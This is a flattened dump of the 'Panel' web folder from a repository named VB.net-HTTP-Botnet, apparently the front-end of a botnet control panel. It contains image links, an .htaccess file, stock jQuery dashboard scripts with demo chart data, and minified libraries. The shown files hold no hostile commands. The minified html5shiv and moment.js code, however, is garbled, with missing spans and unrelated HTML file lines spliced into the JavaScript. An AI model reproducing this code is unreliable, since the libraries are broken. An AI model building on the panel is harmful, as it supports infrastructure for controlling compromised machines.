https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/hue.png -------------------------------------------------------------------------------- /Panel/img/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/img/loading-black.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/loading-black.gif -------------------------------------------------------------------------------- /Panel/img/loading-blue.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/loading-blue.gif -------------------------------------------------------------------------------- /Panel/img/loading-green.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/loading-green.gif -------------------------------------------------------------------------------- /Panel/img/loading-orange.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/loading-orange.gif -------------------------------------------------------------------------------- /Panel/img/loading-red.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/loading-red.gif -------------------------------------------------------------------------------- /Panel/img/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/loading.gif -------------------------------------------------------------------------------- /Panel/img/logo-blue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/logo-blue.png -------------------------------------------------------------------------------- /Panel/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/logo.png -------------------------------------------------------------------------------- /Panel/img/menu-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/menu-arrow.png -------------------------------------------------------------------------------- /Panel/img/saturation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/saturation.png -------------------------------------------------------------------------------- /Panel/img/select2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/select2.png -------------------------------------------------------------------------------- /Panel/img/social_icons.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/social_icons.png -------------------------------------------------------------------------------- /Panel/img/sorting.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/sorting.png -------------------------------------------------------------------------------- /Panel/img/sorting_asc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/sorting_asc.png -------------------------------------------------------------------------------- /Panel/img/sorting_desc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/sorting_desc.png -------------------------------------------------------------------------------- /Panel/img/subtle_white_feathers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/subtle_white_feathers.png -------------------------------------------------------------------------------- /Panel/img/task-l-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/task-l-arrow.png -------------------------------------------------------------------------------- /Panel/img/task-r-arrow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/task-r-arrow.png -------------------------------------------------------------------------------- /Panel/img/task-r-arrow.png.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/task-r-arrow.png.png -------------------------------------------------------------------------------- /Panel/img/ui-icons_3d80b3_256x240.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/ui-icons_3d80b3_256x240.png -------------------------------------------------------------------------------- /Panel/img/wild_oliva.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/img/wild_oliva.png -------------------------------------------------------------------------------- /Panel/includes/.htaccess: -------------------------------------------------------------------------------- 1 | # This file prevents that your .php view files are accessed directly from the outside 2 | 3 | order allow,deny 4 | deny from all 5 | 6 | -------------------------------------------------------------------------------- /Panel/includes/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/includes/js/.DS_Store -------------------------------------------------------------------------------- /Panel/includes/js/custom-forms.js: -------------------------------------------------------------------------------- 1 | //Tooltip 2 | $('a').tooltip('hide'); 3 | 4 | //Popover 5 | $('.popover-pop').popover('hide'); 6 | 7 | //Collapse 8 | $('#myCollapsible').collapse({ 9 | toggle: false 10 | }) 11 | 12 | //Tabs 13 | $('.myTabBeauty a').click(function (e) { 14 | e.preventDefault(); 15 | $(this).tab('show'); 16 | }) 17 | 18 | //Dropdown 19 | $('.dropdown-toggle').dropdown(); 20 | 21 | //wysihtml5 22 | $('#wysiwyg').wysihtml5(); 23 | 24 | 25 | $('#timepicker1').timepicker({ 26 | minuteStep: 1, 27 | secondStep: 5, 28 | showInputs: false, 29 | template: 'modal', 30 | modalBackdrop: true, 31 | showSeconds: true, 32 | showMeridian: false 33 | }); 34 | 35 | $('#timepicker2').timepicker({ 36 | minuteStep: 5, 37 | secondStep: 30, 38 | showInputs: false, 39 | showSeconds: true, 40 | showMeridian: false 41 | }); 42 | 43 | //Date picker 44 | $('.date_picker').daterangepicker({ 45 | opens: 'left' 46 | }); 47 | 48 | //Date Picker 49 | $('.report_range').daterangepicker({ 50 | ranges: { 51 | 'Today': ['today', 'today'], 52 | 'Yesterday': ['yesterday', 'yesterday'], 53 | 'Last 7 Days': [Date.today().add({ 54 | days: -6 55 | }), 'today'], 56 | 'Last 30 Days': [Date.today().add({ 57 | days: -29 58 | }), 'today'], 59 | 'This Month': [Date.today().moveToFirstDayOfMonth(), Date.today().moveToLastDayOfMonth()], 60 | 'Last Month': [Date.today().moveToFirstDayOfMonth().add({ 61 | months: -1 62 | }), Date.today().moveToFirstDayOfMonth().add({ 63 | days: -1 64 | })] 65 | }, 66 | opens: 'left', 67 | format: 'MM/dd/yyyy', 68 | separator: ' to ', 69 | startDate: Date.today().add({ 70 | days: -29 71 | }), 72 | endDate: Date.today(), 73 | minDate: '01/01/2012', 74 | maxDate: '12/31/2013', 75 | locale: { 76 | applyLabel: 'Submit', 77 | fromLabel: 'From', 78 | toLabel: 'To', 79 | customRangeLabel: 'Custom Range', 80 | daysOfWeek: ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa'], 81 | monthNames: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'], 82 | firstDay: 1 83 | }, 84 | showWeekNumbers: true, 85 | buttonClasses: ['btn-danger'] 86 | }, 87 | 88 | function (start, end) { 89 | $('.report_range span').html(start.toString('MMMM d, yyyy') + ' - ' + end.toString('MMMM d, yyyy')); 90 | }); 91 | 92 | //Set the initial state of the picker label 93 | $('.report_range span').html(Date.today().add({ 94 | days: -29 95 | }).toString('MMMM d, yyyy') + ' - ' + Date.today().toString('MMMM d, yyyy')); 96 | 97 | 98 | 99 | //Xeditable form fields 100 | $(function () { 101 | 102 | //enable / disable 103 | $('#enable').click(function () { 104 | $('#user .editable').editable('toggleDisabled'); 105 | }); 106 | 107 | //editables 108 | $('.inputText').editable({ 109 | type: 'text', 110 | pk: 1, 111 | name: 'name', 112 | title: 'Enter Name' 113 | }); 114 | 115 | $('.inputTextArea').editable({ 116 | showbuttons: true 117 | }); 118 | 119 | $('#tags').editable({ 120 | inputclass: 'input-large', 121 | select2: { 122 | tags: ['html5', 'javascript', 'Jquery', 'css3', 'ajax', 'Sass', 'Haml', 'Photoshop'], 123 | tokenSeparators: [",", " "] 124 | } 125 | }); 126 | 127 | $('#user .editable').on('hidden', function (e, reason) { 128 | if (reason === 'save' || reason === 'nochange') { 129 | var $next = $(this).closest('tr').next().find('.editable'); 130 | if ($('#autoopen').is(':checked')) { 131 | setTimeout(function () { 132 | $next.editable('show'); 133 | }, 300); 134 | 135 | } else { 136 | $next.focus(); 137 | } 138 | } 139 | }); 140 | }); 141 | //Xeditable form fields end -------------------------------------------------------------------------------- /Panel/includes/js/custom-index.js: -------------------------------------------------------------------------------- 1 | $('document').ready(function(){ 2 | 3 | //Scrollbar 4 | $('#scrollbar-three').tinyscrollbar(); 5 | 6 | }); 7 | 8 | // Flot Charts 9 | var updateInterval = 500; 10 | 11 | $("#updateInterval").val(updateInterval).change(function () { 12 | var v = $(this).val(); 13 | if (v && !isNaN(+v)) { 14 | updateInterval = +v; 15 | if (updateInterval < 1) 16 | updateInterval = 1; 17 | if (updateInterval > 2000) 18 | updateInterval = 2000; 19 | $(this).val("" + updateInterval); 20 | } 21 | }); 22 | 23 | var data = [], totalPoints = 200; 24 | function getRandomData() { 25 | if (data.length > 0) 26 | data = data.slice(1); 27 | 28 | // do a random walk 29 | while (data.length < totalPoints) { 30 | var prev = data.length > 0 ? data[data.length - 1] : 50; 31 | var y = prev + Math.random() * 10 - 5; 32 | if (y < 0) 33 | y = 0; 34 | if (y > 100) 35 | y = 100; 36 | data.push(y); 37 | } 38 | 39 | // zip the generated y values with the x values 40 | var res = []; 41 | for (var i = 0; i < data.length; ++i) 42 | res.push([i, data[i]]) 43 | return res; 44 | } 45 | 46 | if($("#serverLoad").length){ 47 | var options = { 48 | series: { shadowSize: 1 }, 49 | lines: { show: true, lineWidth: 3, fill: true, fillColor: { colors: [ { opacity: 0.5 }, { opacity: 0.5 } ] }}, 50 | yaxis: { min: 0, max: 200, tickFormatter: function (v) { return v + "%"; }}, 51 | xaxis: { show: false }, 52 | colors: ["#3660aa"], 53 | grid: { tickColor: "#f2f2f2", 54 | borderWidth: 0, 55 | }, 56 | }; 57 | var plot = $.plot($("#serverLoad"), [ getRandomData() ], options); 58 | function update() { 59 | plot.setData([ getRandomData() ]); 60 | // since the axes don't change, we don't need to call plot.setupGrid() 61 | plot.draw(); 62 | setTimeout(update, updateInterval); 63 | } 64 | update(); 65 | } 66 | 67 | if($("#realtimechart").length){ 68 | var options = { 69 | series: { shadowSize: 1 }, 70 | lines: { lineWidth: 1, fill: true, fillColor: { colors: [ { opacity: 1 }, { opacity: 0.1 } ] }}, 71 | yaxis: { min: 0, max: 200 }, 72 | xaxis: { show: false }, 73 | colors: ["#3660aa"], 74 | grid: { tickColor: "#eeeeee", 75 | borderWidth: 0 76 | }, 77 | }; 78 | var plot = $.plot($("#realtimechart"), [ getRandomData() ], options); 79 | function update() { 80 | plot.setData([ getRandomData() ]); 81 | // since the axes don't change, we don't need to call plot.setupGrid() 82 | plot.draw(); 83 | setTimeout(update, updateInterval); 84 | } 85 | update(); 86 | } 87 | 88 | 89 | //Selection Charts 90 | 91 | $(function() { 92 | 93 | var data = [{ 94 | label: "Facebook", 95 | data: [[1990, 2], [1991, 37], [1992, 12], [1993, 72], [1994, 24], [1995, 113], [1996, 27], [1997, 245], [1998, 26], [1999, 189], [2000, 72], [2001, 158], [2002, 38], [2003, 126], [2004, 43], [2005, 126], [2006, 39], [2007, 112], [2008, 25], [2009, 18], [2010, 110], [2011, 34], [2012, 158], [2013, 23]] 96 | }, 97 | { 98 | label: "Google+", 99 | data: [[1990, 3], [1991, 45], [1992, 16], [1993, 48], [1994, 12], [1995, 125], [1996, 26], [1997, 233], [1998, 37], [1999, 171], [2000, 68], [2001, 134], [2002, 26], [2003, 110], [2004, 37], [2005, 140], [2006, 41], [2007, 136], [2008, 39], [2009, 22], [2010, 144], [2011, 38], [2012, 123], [2013, 47]] 100 | }]; 101 | 102 | var options = { 103 | series: { 104 | lines: { show: true, 105 | lineWidth: 2, 106 | fill: false, 107 | }, 108 | points: { show: true, 109 | lineWidth: 2 110 | }, 111 | shadowSize: 0 112 | }, 113 | grid: { hoverable: true, 114 | clickable: true, 115 | tickColor: "#eeeeee", 116 | borderWidth: 0 117 | }, 118 | legend: { 119 | noColumns: 3 120 | }, 121 | colors: ["#3b5a9b", "#d3503e"], 122 | xaxis: {ticks:12, tickDecimals: 0}, 123 | yaxis: {ticks:3, tickDecimals: 0}, 124 | selection: { 125 | mode: "x" 126 | } 127 | }; 128 | 129 | var placeholder = $("#selectionCharts"); 130 | 131 | placeholder.bind("plotselected", function (event, ranges) { 132 | 133 | $("#selection").text(ranges.xaxis.from.toFixed(1) + " to " + ranges.xaxis.to.toFixed(1)); 134 | 135 | var zoom = $("#zoom").attr("checked"); 136 | 137 | if (zoom) { 138 | plot = $.plot(placeholder, data, $.extend(true, {}, options, { 139 | xaxis: { 140 | min: ranges.xaxis.from, 141 | max: ranges.xaxis.to 142 | } 143 | })); 144 | } 145 | }); 146 | 147 | placeholder.bind("plotunselected", function (event) { 148 | $("#selection").text(""); 149 | }); 150 | 151 | var plot = $.plot(placeholder, data, options); 152 | 153 | $("#clearSelection").click(function () { 154 | plot.clearSelection(); 155 | }); 156 | 157 | $("#setSelection").click(function () { 158 | plot.setSelection({ 159 | xaxis: { 160 | from: 1994, 161 | to: 1995 162 | } 163 | }); 164 | }); 165 | // Add the Flot version string to the footer 166 | $("#footer").prepend("Flot " + $.plot.version + " – "); 167 | }); 168 | 169 | 170 | // Calendar 171 | $(document).ready(function() { 172 | 173 | var date = new Date(); 174 | var d = date.getDate(); 175 | var m = date.getMonth(); 176 | var y = date.getFullYear(); 177 | 178 | var calendar = $('#calendar').fullCalendar({ 179 | header: { 180 | left: 'prev,next today', 181 | center: 'title', 182 | right: 'month,agendaWeek,agendaDay' 183 | }, 184 | selectable: true, 185 | selectHelper: true, 186 | select: function(start, end, allDay) { 187 | var title = prompt('Event Title:'); 188 | if (title) { 189 | calendar.fullCalendar('renderEvent', 190 | { 191 | title: title, 192 | start: start, 193 | end: end, 194 | allDay: allDay 195 | }, 196 | true // make the event "stick" 197 | ); 198 | } 199 | calendar.fullCalendar('unselect'); 200 | }, 201 | editable: true, 202 | events: [ 203 | { 204 | title: 'All Day Event', 205 | start: new Date(y, m, 1) 206 | }, 207 | { 208 | id: 999, 209 | title: 'Repeating Event', 210 | start: new Date(y, m, d-3, 16, 0), 211 | allDay: false 212 | }, 213 | { 214 | title: 'Meeting', 215 | start: new Date(y, m, d, 10, 30), 216 | allDay: false 217 | }, 218 | { 219 | title: 'Lunch', 220 | start: new Date(y, m, d, 12, 0), 221 | end: new Date(y, m, d, 14, 0), 222 | allDay: false 223 | }, 224 | { 225 | title: 'Birthday Party', 226 | start: new Date(y, m, d+1, 19, 0), 227 | end: new Date(y, m, d+1, 22, 30), 228 | allDay: false 229 | } 230 | ] 231 | }); 232 | }); 233 | 234 | // Morris Charts and Graphs 235 | function socialGraph(){ 236 | Morris.Donut({ 237 | element: 'socialGraph', 238 | data: [ 239 | {value: 47, label: 'Facebook'}, 240 | {value: 28, label: 'Twitter'}, 241 | {value: 17, label: 'Google+'}, 242 | {value: 8, label: 'Linkedin'} 243 | ], 244 | labelColor: '#666666', 245 | colors: [ 246 | '#333333', 247 | '#555555', 248 | '#777777', 249 | '#999999', 250 | '#aaaaaa' 251 | ], 252 | formatter: function (x) { return x + "%"} 253 | }); 254 | } 255 | $(document).ready(function () { 256 | socialGraph(); 257 | }); 258 | 259 | //Resize charts and graphs on window resize 260 | $(document).ready(function () { 261 | $(window).resize(function(){ 262 | socialGraph(); 263 | }); 264 | }); 265 | -------------------------------------------------------------------------------- /Panel/includes/js/custom-tables.js: -------------------------------------------------------------------------------- 1 | // SparkLine Line Graphs 2 | $(function () { 3 | $('#unique-visitors').sparkline('html', { 4 | type: 'line', 5 | fillColor: '#f9f9f9', 6 | lineColor: '#860e1c', 7 | height: 20, 8 | }); 9 | $('#monthly-sales').sparkline('html', { 10 | type: 'line', 11 | fillColor: '#f9f9f9', 12 | lineColor: '#3eb157', 13 | height: 20, 14 | }); 15 | $('#current-balance').sparkline('html', { 16 | type: 'line', 17 | fillColor: '#f9f9f9', 18 | lineColor: '#9564e2', 19 | height: 20, 20 | }); 21 | $('#registrations').sparkline('html', { 22 | type: 'line', 23 | fillColor: '#f9f9f9', 24 | lineColor: '#3660aa', 25 | height: 20, 26 | }); 27 | $('#site-visits').sparkline('html', { 28 | type: 'line', 29 | fillColor: '#f9f9f9', 30 | lineColor: '#333333', 31 | height: 20, 32 | }); 33 | }); 34 | 35 | 36 | // SparkLine Bar Graphs 37 | $(function () { 38 | $('#ax').sparkline('html', { 39 | type: 'bar', 40 | barColor: '#f26645', 41 | barWidth: 4, 42 | height: 20, 43 | }); 44 | $('#cx').sparkline('html', { 45 | type: 'bar', 46 | barColor: '#3eb157', 47 | barWidth: 4, 48 | height: 20, 49 | }); 50 | $('#bx').sparkline('html', { 51 | type: 'bar', 52 | barColor: '#dba26b', 53 | barWidth: 4, 54 | height: 20, 55 | }); 56 | $('#ex').sparkline('html', { 57 | type: 'bar', 58 | barColor: '#3660aa', 59 | barWidth: 4, 60 | height: 20, 61 | }); 62 | $('#dx').sparkline('html', { 63 | type: 'bar', 64 | barColor: '#d14836', 65 | barWidth: 4, 66 | height: 20, 67 | }); 68 | }); 69 | 70 | //Data Tables 71 | $(document).ready(function () { 72 | $('#data-table').dataTable({ 73 | "sPaginationType": "full_numbers" 74 | }); 75 | }); 76 | 77 | jQuery('.delete-row').click(function () { 78 | var conf = confirm('Continue delete?'); 79 | if (conf) jQuery(this).parents('tr').fadeOut(function () { 80 | jQuery(this).remove(); 81 | }); 82 | return false; 83 | }); -------------------------------------------------------------------------------- /Panel/includes/js/custom.js: -------------------------------------------------------------------------------- 1 | //Timer for messages and tasks 2 | var i = 12, j=35; 3 | 4 | function incrementI() { 5 | i++; 6 | document.getElementById('newSignup').innerHTML = i; 7 | } 8 | setInterval('incrementI()', 25000); 9 | 10 | function incrementJ() { 11 | j++; 12 | document.getElementById('messagesCountDown').innerHTML = j; 13 | } 14 | setInterval('incrementJ()', 12000); 15 | 16 | 17 | //Tooltip 18 | $('a').tooltip('hide'); 19 | 20 | //Popover 21 | $('.popover-pop').popover('hide'); 22 | 23 | //Collapse 24 | $('#myCollapsible').collapse({ 25 | toggle: false 26 | }) 27 | 28 | //Dropdown 29 | $('.dropdown-toggle').dropdown(); 30 | 31 | 32 | // Retina Mode 33 | function retina(){ 34 | retinaMode = (window.devicePixelRatio > 1); 35 | return retinaMode; 36 | } 37 | 38 | 39 | -------------------------------------------------------------------------------- /Panel/includes/js/date-picker/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/flot/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SaturnsVoid/VB.net-HTTP-Botnet/a9526f8573af12208bda7297bd2e6f8ff4ba9d99/Panel/includes/js/flot/.DS_Store -------------------------------------------------------------------------------- /Panel/includes/js/flot/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/flot/jquery.flot.resize.min.js: -------------------------------------------------------------------------------- 1 | (function(n,p,u){var w=n([]),s=n.resize=n.extend(n.resize,{}),o,l="setTimeout",m="resize",t=m+"-special-event",v="delay",r="throttleWindow";s[v]=250;s[r]=true;n.event.special[m]={setup:function(){if(!s[r]&&this[l]){return false}var a=n(this);w=w.add(a);n.data(this,t,{w:a.width(),h:a.height()});if(w.length===1){q()}},teardown:function(){if(!s[r]&&this[l]){return false}var a=n(this);w=w.not(a);a.removeData(t);if(!w.length){clearTimeout(o)}},add:function(b){if(!s[r]&&this[l]){return false}var c;function a(d,h,g){var f=n(this),e=n.data(this,t);e.w=h!==u?h:f.width();e.h=g!==u?g:f.height();c.apply(this,arguments)}if(n.isFunction(b)){c=b;return a}else{c=b.handler;b.handler=a}}};function q(){o=p[l](function(){w.each(function(){var d=n(this),a=d.width(),b=d.height(),c=n.data(this,t);if(a!==c.w||b!==c.h){d.trigger(m,[c.w=a,c.h=b])}});q()},s[v])}})(jQuery,this);(function(b){var a={};function c(f){function e(){var h=f.getPlaceholder();if(h.width()==0||h.height()==0){return}f.resize();f.setupGrid();f.draw()}function g(i,h){i.getPlaceholder().resize(e)}function d(i,h){i.getPlaceholder().unbind("resize",e)}f.hooks.bindEvents.push(g);f.hooks.shutdown.push(d)}b.plot.plugins.push({init:c,options:a,name:"resize",version:"1.0"})})(jQuery); -------------------------------------------------------------------------------- /Panel/includes/js/html5-trunk.js: -------------------------------------------------------------------------------- 1 | /* 2 | HTML5 Shiv v3.6.2pre | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed 3 | Uncompressed source: https://github.com/aFarkas/html5shiv 4 | */ 5 | (function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag(); 6 | a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/\w+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x"; 7 | c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode|| 8 | "undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video",version:"3.6.2pre",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);if(g)return a.createDocumentFragment(); 9 | for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d 2 | 3 | 4 | 5 | Untitled Document 6 | 7 | 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /Panel/includes/js/moment.js: -------------------------------------------------------------------------------- 1 | // moment.js 2 | // version : 1.7.2 3 | // author : Tim Wood 4 | // license : MIT 5 | // momentjs.com 6 | (function(a){function E(a,b,c,d){var e=c.lang();return e[a].call?e[a](c,d):e[a][b]}function F(a,b){return function(c){return K(a.call(this,c),b)}}function G(a){return function(b){var c=a.call(this,b);return c+this.lang().ordinal(c)}}function H(a,b,c){this._d=a,this._isUTC=!!b,this._a=a._a||null,this._lang=c||!1}function I(a){var b=this._data={},c=a.years||a.y||0,d=a.months||a.M||0,e=a.weeks||a.w||0,f=a.days||a.d||0,g=a.hours||a.h||0,h=a.minutes||a.m||0,i=a.seconds||a.s||0,j=a.milliseconds||a.ms||0;this._milliseconds=j+i*1e3+h*6e4+g*36e5,this._days=f+e*7,this._months=d+c*12,b.milliseconds=j%1e3,i+=J(j/1e3),b.seconds=i%60,h+=J(i/60),b.minutes=h%60,g+=J(h/60),b.hours=g%24,f+=J(g/24),f+=e*7,b.days=f%30,d+=J(f/30),b.months=d%12,c+=J(d/12),b.years=c,this._lang=!1}function J(a){return a<0?Math.ceil(a):Math.floor(a)}function K(a,b){var c=a+"";while(c.length70?1900:2e3);break;case"YYYY":c[0]=~~Math.abs(b);break;case"a":case"A":d.isPm=(b+"").toLowerCase()==="pm";break;case"H":case"HH":case"h":case"hh":c[3]=~~b;break;case"m":case"mm":c[4]=~~b;break;case"s":case"ss":c[5]=~~b;break;case"S":case"SS":case"SSS":c[6]=~~(("0."+b)*1e3);break;case"Z":case"ZZ":d.isUTC=!0,e=(b+"").match(x),e&&e[1]&&(d.tzh=~~e[1]),e&&e[2]&&(d.tzm=~~e[2]),e&&e[0]==="+"&&(d.tzh=-d.tzh,d.tzm=-d.tzm)}b==null&&(c[8]=!1)}function W(a,b){var c=[0,0,1,0,0,0,0],d={tzh:0,tzm:0},e=b.match(k),f,g;for(f=0;f0,j[4]=c,Z.apply({},j)}function _(a,c){b.fn[a]=function(a){var b=this._isUTC?"UTC":"";return a!=null?(this._d["set"+b+c](a),this):this._d["get"+b+c]()}}function ab(a){b.duration.fn[a]=function(){return this._data[a]}}function bb(a,c){b.duration.fn["as"+a]=function(){return+this/c}}var b,c="1.7.2",d=Math.round,e,f={},g="en",h=typeof module!="undefined"&&module.exports,i="months|monthsShort|weekdays|weekdaysShort|weekdaysMin|longDateFormat|calendar|relativeTime|ordinal|meridiem".split("|"),j=/^\/?Date\((\-?\d+)/i,k=/(\[[^\[]*\])|(\\)?(Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|YYYY|YY|a|A|hh?|HH?|mm?|ss?|SS?S?|zz?|ZZ?|.)/g,l=/(\[[^\[]*\])|(\\)?(LT|LL?L?L?)/g,m=/([0-9a-zA-Z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+)/gi,n=/\d\d?/,o=/\d{1,3}/,p=/\d{3}/,q=/\d{1,4}/,r=/[0-9a-z\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]+/i,s=/Z|[\+\-]\d\d:?\d\d/i,t=/T/i,u=/^\s*\d{4}-\d\d-\d\d(T(\d\d(:\d\d(:\d\d(\.\d\d?\d?)?)?)?)?([\+\-]\d\d:?\d\d)?)?/,v="YYYY-MM-DDTHH:mm:ssZ",w=[["HH:mm:ss.S",/T\d\d:\d\d:\d\d\.\d{1,3}/],["HH:mm:ss",/T\d\d:\d\d:\d\d/],["HH:mm",/T\d\d:\d\d/],["HH",/T\d\d/]],x=/([\+\-]|\d\d)/gi,y="Month|Date|Hours|Minutes|Seconds|Milliseconds".split("|"),z={Milliseconds:1,Seconds:1e3,Minutes:6e4,Hours:36e5,Days:864e5,Months:2592e6,Years:31536e6},A={},B="DDD w M D d".split(" "),C="M D H h m s w".split(" "),D={M:function(){return this.month()+1},MMM:function(a){return E("monthsShort",this.month(),this,a)},MMMM:function(a){return E("months",this.month(),this,a)},D:function(){return this.date()},DDD:function(){var a=new Date(this.year(),this.month(),this.date()),b=new Date(this.year(),0,1);return~~((a-b)/864e5+1.5)},d:function(){return this.day()},dd:function(a){return E("weekdaysMin",this.day(),this,a)},ddd:function(a){return E("weekdaysShort",this.day(),this,a)},dddd:function(a){return E("weekdays",this.day(),this,a)},w:function(){var a=new Date(this.year(),this.month(),this.date()-this.day()+5),b=new Date(a.getFullYear(),0,4);return~~((a-b)/864e5/7+1.5)},YY:function(){return K(this.year()%100,2)},YYYY:function(){return K(this.year(),4)},a:function(){return this.lang().meridiem(this.hours(),this.minutes(),!0)},A:function(){return this.lang().meridiem(this.hours(),this.minutes(),!1)},H:function(){return this.hours()},h:function(){return this.hours()%12||12},m:function(){return this.minutes()},s:function(){return this.seconds()},S:function(){return~~(this.milliseconds()/100)},SS:function(){return 